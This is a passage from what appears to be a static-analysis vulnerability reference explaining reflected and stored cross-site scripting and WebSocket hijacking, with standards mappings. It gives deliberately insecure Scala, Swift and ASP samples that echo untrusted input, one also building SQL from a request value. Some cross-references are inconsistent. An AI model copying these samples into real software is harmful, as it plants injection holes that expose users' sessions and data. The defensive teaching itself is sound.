[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.ruby.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Play controller code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


def getEmployee = Action { implicit request =>
val eid = request.getQueryString("eid")

val employee = getEmployee(eid)

if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[65] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[66] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.scala.cross_site_scripting_reflected
Abstract
The method sends unvalidated data to a web browser which can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web page through an untrusted source. In the case of reflected XSS, the untrusted source is typically through user components, URL scheme handlers, or notifications, while in the case of Persistent (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a WKWebView component without being validated.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following code reads the contents of a UITextField and displays it to the user within a WKWebView:


...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...


The code in this example operates without issues if the text within inputTextField contains only standard alphanumeric text. If the text within inputTextField includes metacharacters or source code, then the input may be executed as code by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone provide input that can cause malicious code to run on their own device? The real danger is that an attacker may use email or social engineering tricks to lure victims into performing such actions. When this is successful, the victims unwittingly reflect the malicious content through the vulnerable web application back to their own devices. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following Swift code segment reads the text portion of a custom URL scheme which was passed to and invoked the application (myapp://input_to_the_application). The untrusted data in the URL is then used to render HTML output in a UIWebView component.


func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}


As in Example 2, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in HTTP content. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from a user-controllable UI component and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, a source outside the target application makes a URL request using the target application's custom URL scheme, and unvalidated data from the URL request subsequently read back into the application as trusted data and included in dynamic content.

- As in Example 3, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.swift.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ASP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


...
eid = Request("eid")
Response.Write "Employee ID:" & eid & "<br/>"
..


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following ASP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & objADORecordSet("name")
objADORecordSet.MoveNext
Wend
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.vb.cross_site_scripting_reflected
Abstract
Server fails to verify request origin effectively accepting cross-domain requests which can be used by an attacker to hijack a bidirectional WebSocket connection.
Explanation
Cross-Site WebSocket Hijacking occurs when a user is tricked into visiting a malicious site that will establish a WebSocket connection with a legitimate backend server. The initial HTTP request used to ask the server for upgrading to WebSocket protocol is a regular HTTP request and so, the browser will send any cookies bound to the target domain including any session cookies. If the server fails to verify the Origin header, it will allow any malicious site to impersonate the user and establish a bidirectional WebSocket connection without the user even noticing.
References
[1] Christian Schneider Cross-Site WebSocket Hijacking
[2] Standards Mapping - Common Weakness Enumeration CWE ID 352
